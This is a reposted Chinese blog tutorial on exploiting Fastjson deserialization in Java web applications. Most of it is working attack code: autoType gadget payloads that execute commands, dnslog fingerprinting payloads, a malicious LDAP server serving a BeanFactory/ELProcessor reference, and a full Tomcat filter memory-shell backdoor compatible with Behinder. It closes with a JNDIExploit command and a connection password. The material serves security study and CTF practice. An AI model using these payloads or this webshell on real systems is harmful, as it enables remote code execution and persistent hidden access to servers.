{"a":{"@type":"java.lang.Exception","@type":"org.python.antlr.ParseException","type":{}},"b":{"@type":"org.python.core.PyObject","@type":"com.ziclix.python.sql.PyConnection","connection":{"@type":"org.postgresql.jdbc.PgConnection","hostSpecs":[{"host":"127.0.0.1","port":2333}],"user":"user","database":"test","info":{"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext","socketFactoryArg":"http://127.0.0.1:8090/exp.xml"},"url":""}}}
<beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd"><beanid="pb"class="java.lang.ProcessBuilder"><constructor-arg><listvalue-type="java.lang.String"><value>cmd</value><value>/c</value><value>calc</value></list></constructor-arg><propertyname="whatever"value="#{pb.start()}"/></bean></beans>

更多payload:https://github.com/su18/hack-fastjson-1.2.80

更多的利用链分析:回放视频 (8月27日下午视频的第26分钟开始)。

fastjson探测

区分Jackson和fastjson

Jackson 因为强制 key 与 javabean 属性对齐不能多 key,通过是否报错区分

{“name”:“S”,“age”:21}=>{“name”:“S”,“age”:21,“abc”:123}

版本信息

  • 传一个没有闭合的json字符串,使其报错:
{"@type":"java.lang.AutoCloseable"
[{"a":"a\x]{"@type":"java.lang.AutoCloseable"
a
  • 通过dnslog探测fastjson的几种方法通过构造DNS解析来判断是否是Fastjson,Fastjson在解析下面这些Payload时会取解析val的值,从而可以在dnslog接收到回显
{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}{{"@type":"java.net.URL","val":"http://dnslog"}:0

漏洞探测

通常配合使用dnslog平台进行漏洞探测。

不出网检测:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • BCEL类加载 - Tomcat > 8.0 org.apache.tomcat.dbcp.dbcp2.BasicDataSource- Tomcat < 8.0 org.apache.tomcat.dbcp.dbcp.BasicDataSource

内存马注入

这里的测试环境为JDK8u211+springboot。

使用LDAP+序列化本地工厂类的方式绕过高版本jdk的限制,不过由于

org.apache.naming.factory.BeanFactory

在tomcat-catalina 9.0.62后的版本forceString选项已作为安全强化措施删除,所以这里特别设置了tomcat-embed-core的版本

<dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency><dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-core</artifactId><version>9.0.62</version></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><version>2.6.7</version></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-tomcat</artifactId><version>2.6.7</version><scope>provided</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><version>2.6.7</version><scope>test</scope></dependency></dependencies>
packagecom.example.fastjsondemo;importcom.alibaba.fastjson.JSON;importorg.springframework.stereotype.Controller;importorg.springframework.web.bind.annotation.RequestMapping;importorg.springframework.web.bind.annotation.RequestMethod;importorg.springframework.web.bind.annotation.RequestParam;importorg.springframework.web.bind.annotation.ResponseBody;@ControllerpublicclassIndexController{@ResponseBody@RequestMapping(value ="/index", method =RequestMethod.POST)publicObjecthello(@RequestParam("code")String code)throwsException{//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.out.println(code);Object object =JSON.parse(code);return code +"->JSON.parseObject()->"+ object;}}

ldapSever的代码如下:

packageJNDI;importcom.unboundid.ldap.listener.InMemoryDirectoryServer;importcom.unboundid.ldap.listener.InMemoryDirectoryServerConfig;importcom.unboundid.ldap.listener.InMemoryListenerConfig;importcom.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;importcom.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;importcom.unboundid.ldap.sdk.Entry;importcom.unboundid.ldap.sdk.LDAPResult;importcom.unboundid.ldap.sdk.ResultCode;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.naming.ResourceRef;importjavax.naming.StringRefAddr;importjavax.net.ServerSocketFactory;importjavax.net.SocketFactory;importjavax.net.ssl.SSLSocketFactory;importjava.io.ByteArrayOutputStream;importjava.io.IOException;importjava.io.ObjectOutputStream;importjava.net.InetAddress;importjava.util.Base64;publicclassLdapServerBypass{publicstaticvoidmain(String[] args)throwsException{InMemoryDirectoryServerConfig config =newInMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(newInMemoryListenerConfig("listen",InetAddress.getByName("127.0.0.1"),1389,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory)SSLSocketFactory.getDefault()));
        config.addInMemoryOperationInterceptor(newLdapServerBypass.OperationInterceptor());InMemoryDirectoryServer directoryServer =newInMemoryDirectoryServer(config);
        directoryServer.startListening();}privatestaticclassOperationInterceptorextendsInMemoryOperationInterceptor{privateString payloadTemplate ="{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"{replacement}\")}";privateString payload ="var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('{replacement}');\nvar classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n   var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n   method.setAccessible(true);\n   var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n   clazz.newInstance();\n;";@OverridepublicvoidprocessSearchResult(InMemoryInterceptedSearchResult result){CtClass clazzz =null;byte[] code;String base = result.getRequest().getBaseDN();ResourceRef ref =newResourceRef("javax.el.ELProcessor",(String)null,"","",true,"org.apache.naming.factory.BeanFactory",(String)null);
            ref.add(newStringRefAddr("forceString","test=eval"));ClassPool pool =ClassPool.getDefault();//要加载的恶意类 MemoryShell.BehinderFilter2try{
                clazzz = pool.get(MemoryShell.BehinderFilter2.class.getName());
                code = clazzz.toBytecode();}catch(Exception e){thrownewRuntimeException(e);}StringClassCode=Base64.getEncoder().encodeToString(code);this.payload =this.payload.replace("{replacement}",ClassCode);String finalPayload =this.payloadTemplate.replace("{replacement}", payload);System.out.println(finalPayload);
            ref.add(newStringRefAddr("test", finalPayload));Entry entry =newEntry(base);
            entry.addAttribute("javaClassName","java.lang.String");try{
                entry.addAttribute("javaSerializedData",serialize(ref));}catch(IOException e){thrownewRuntimeException(e);}try{
                result.sendSearchEntry(entry);
                result.setResult(newLDAPResult(0,ResultCode.SUCCESS));}catch(Exception e){
                e.printStackTrace();}}publicstaticbyte[]serialize(Object ref)throwsIOException{ByteArrayOutputStream out =newByteArrayOutputStream();ObjectOutputStream objOut =newObjectOutputStream(out);
            objOut.writeObject(ref);return out.toByteArray();}}}

内存马使用从线程中获取request对象再获取standardContext的方式,这里dofilter的实现在冰蝎4.0可用

image-20221007030135593

packageMemoryShell;importorg.apache.catalina.core.ApplicationContext;importorg.apache.catalina.core.StandardContext;importorg.apache.coyote.Request;importorg.apache.coyote.RequestInfo;importjavax.servlet.*;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.http.HttpServletResponse;importjavax.servlet.http.HttpSession;importjava.io.ByteArrayOutputStream;importjava.io.IOException;importjava.lang.reflect.Field;importjava.lang.reflect.Method;importjava.util.Arrays;importjava.util.HashMap;importjava.util.List;publicclassBehinderFilter2implementsFilter{static{String filterName ="test";org.apache.catalina.connector.Request req =null;try{boolean flag =false;Thread[] threads =(Thread[])getField(Thread.currentThread().getThreadGroup(),"threads");for(int i=0;i<threads.length;i++){Thread thread = threads[i];if(thread !=null){String threadName = thread.getName();if(threadName.contains("Poller")&& threadName.contains("http")){Object target =getField(thread,"target");Object global =null;if(target instanceofRunnable){// 需要遍历其中的 this$0/handler/global// 需要进行异常捕获,因为存在找不到的情况try{
                                global =getField(getField(getField(target,"this$0"),"handler"),"global");}catch(NoSuchFieldException fieldException){
                                fieldException.printStackTrace();}}// 如果成功找到了 我们的 global ,我们就从里面获取我们的 processorsif(global !=null){List processors =(List)getField(global,"processors");for(i=0;i<processors.size();i++){RequestInfo requestInfo =(RequestInfo) processors.get(i);if(requestInfo !=null){Request tempRequest =(Request)getField(requestInfo,"req");org.apache.catalina.connector.Request request =(org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                    req = request;
                                    flag =true;break;}}}}}if(flag){break;}}//获取 servletContextServletContext servletContext =null;if(req !=null){
                servletContext = req.getServletContext();}// 如果已有此 filterName 的 Filter,则不再重复添加if(servletContext.getFilterRegistration(filterName)==null){StandardContext standardContext =null;// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象if(servletContext !=null){Field ctx = servletContext.getClass().getDeclaredField("context");
                    ctx.setAccessible(true);ApplicationContext appctx =(ApplicationContext) ctx.get(servletContext);Field stdctx = appctx.getClass().getDeclaredField("context");
                    stdctx.setAccessible(true);
                    standardContext =(StandardContext) stdctx.get(appctx);}// 创建自定义 Filter 对象Filter evilFilter =newBehinderFilter2();//修改context状态java.lang.reflect.Field stateField =org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);// 创建 FilterDef 对象javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, evilFilter);
                filterRegistration.setInitParameter("encoding","utf-8");
                filterRegistration.setAsyncSupported(false);//添加映射 设置要拦截的路径
                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),false,newString[]{"/arnold"});//状态恢复,要不然服务不可用if(stateField !=null){
                    stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);}if(standardContext !=null){//在 filterConfigs 中添加 ApplicationFilterConfig使得filter生效java.lang.reflect.Method filterStartMethod =org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext,null);//把filter插到第一位org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();for(int i =0; i < filterMaps.length; i++){if(filterMaps[i].getFilterName().equalsIgnoreCase(filterName)){org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
                            filterMaps[i]= filterMaps[0];
                            filterMaps[0]= filterMap;break;}}}}}catch(Exception e){
            e.printStackTrace();}}publicstaticObjectgetField(Object obj,String fieldName)throwsException{Field f0 =null;Class clas = obj.getClass();while(clas !=Object.class){try{
                f0 = clas.getDeclaredField(fieldName);break;}catch(NoSuchFieldException e){
                clas = clas.getSuperclass();}}if(f0 !=null){
            f0.setAccessible(true);return f0.get(obj);}else{thrownewNoSuchFieldException(fieldName);}}@Overridepublicvoidinit(FilterConfig filterConfig)throwsServletException{}@OverridepublicvoiddoFilter(ServletRequest servletRequest,ServletResponse servletResponse,FilterChain filterChain)throwsIOException,ServletException{System.out.println("Do Filter ......");// 获取request和response对象HttpServletRequest request =(HttpServletRequest) servletRequest;HttpServletResponse response =(HttpServletResponse)servletResponse;HttpSession session = request.getSession();//create pageContextHashMap pageContext =newHashMap();
        pageContext.put("request",request);
        pageContext.put("response",response);
        pageContext.put("session",session);if(request.getMethod().equals("POST")){ByteArrayOutputStream bos =newByteArrayOutputStream();byte[] buf =newbyte[512];int length=request.getInputStream().read(buf);while(length>0){byte[] data=Arrays.copyOfRange(buf,0,length);
                bos.write(data);
                length=request.getInputStream().read(buf);}//解码器byte[] decodebs;Class baseCls ;try{
                baseCls=Class.forName("java.util.Base64");ObjectDecoder=baseCls.getMethod("getDecoder",null).invoke(baseCls,null);
                decodebs=(byte[])Decoder.getClass().getMethod("decode",newClass[]{byte[].class}).invoke(Decoder,newObject[]{bos.toByteArray()});}catch(Throwable e){try{
                    baseCls =Class.forName("sun.misc.BASE64Decoder");ObjectDecoder=null;Decoder= baseCls.newInstance();
                    decodebs=(byte[])Decoder.getClass().getMethod("decodeBuffer",newClass[]{String.class}).invoke(Decoder,newObject[]{newString(bos.toByteArray())});}catch(Exception ex){thrownewRuntimeException(ex);}}String key="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/for(int i =0; i < decodebs.length; i++){
                decodebs[i]=(byte)((decodebs[i])^(key.getBytes()[i +1&15]));}try{//revision BehinderFilterMethod defineClassMethod =Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass",byte[].class,int.class,int.class);
                defineClassMethod.setAccessible(true);Class cc =(Class) defineClassMethod.invoke(this.getClass().getClassLoader(), decodebs,0, decodebs.length);
                cc.newInstance().equals(pageContext);}catch(Exception e){thrownewRuntimeException(e);}}

        filterChain.doFilter(servletRequest, servletResponse);System.out.println("doFilter");}@Overridepublicvoiddestroy(){}}

image-20221007025306957

image-20221007025639336

当然更方便的办法是使用JNDIExploit-1.3这个工具

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.106.131
ldap://192.168.106.131:1389/TomcatBypass/TomcatMemshell3

冰蝎3.0可用,连接密码为ateamnb

参考

[KCon Hacking JSON](https://github.com/knownsec/KCon/blob/master/2022/Hacking JSON【KCon2022】.pdf)

Java 反序列化漏洞始末(3)— fastjson

fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路

fastjson 1.2.68 最新版本有限制 autotype bypass

Fastjson1-2-80漏洞复现

fastjson 1.2.80 漏洞分析

fastjson 1.2.80绕过简单分析

https://www.cnblogs.com/writeLessDoMore/p/6926451.html

https://xz.aliyun.com/t/7107

https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/

https://xz.aliyun.com/t/9052

https://xz.aliyun.com/t/11727

标签: web安全 ctf

本文转载自: https://blog.csdn.net/weixin_43610673/article/details/127293527
版权归原作者 Arnoldqqq 所有, 如有侵权,请联系我们删除。

“Javaweb安全——Fastjson反序列化利用”的评论:

还没有评论